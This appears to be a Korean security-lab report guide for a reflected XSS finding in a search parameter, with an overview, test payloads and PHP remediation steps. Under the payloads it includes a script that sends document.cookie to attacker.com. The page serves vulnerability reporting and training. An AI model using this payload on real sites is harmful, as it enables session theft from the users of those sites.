Warning: Undefined variable $dir in /var/www/html/includes/report_guide_infra.php on line 177
보고서 가이드 — ForusSec Lab
W-03

XSS — Reflected (반사형)

위험도: 중
⚠️ 위험도 근거: 사용자 세션 탈취, 피싱 페이지 리다이렉션 가능
📌 아래 내용이 표준 보고서에 포함되어야 합니다. 자신이 작성한 보고서와 대조하세요.

취약점 개요

📄 표준 내용
Reflected XSS(반사형 크로스사이트 스크립팅)는 공격자가 삽입한 스크립트가 서버를 거쳐 피해자 브라우저에서 즉시 실행되는 취약점이다. 악성 URL을 이메일 등으로 피해자에게 전송 시 세션 쿠키 탈취, 악성 페이지 리다이렉션 등이 가능하다.

발견 내용

📄 표준 내용
[점검 대상]
URL: GET /search.php?q=[입력값]
파라미터: q (GET)

[점검 내용]
검색 파라미터(q)에 HTML/JS 코드 삽입 시 이스케이프 처리 없이 그대로 응답에 반영됨.

[페이로드]
기본: <script>alert('XSS')</script>
쿠키 탈취: <script>document.location='http://attacker.com/steal?c='+document.cookie</script>

[결과]
① alert() 팝업 실행 확인
② document.cookie 값이 공격자 서버로 전송 가능한 상태 확인

조치 방안

📄 표준 내용
[즉시 조치]
1. 출력 시 HTML 이스케이프 처리:
   취약: echo $keyword;
   조치: echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');

2. 입력값 검증 (화이트리스트 기반)

[추가 조치]
3. Content-Security-Policy(CSP) 헤더 적용:
   Content-Security-Policy: default-src 'self'; script-src 'self'
4. HttpOnly 쿠키 설정으로 JS에서 쿠키 접근 차단:
   session.cookie_httponly = On (php.ini)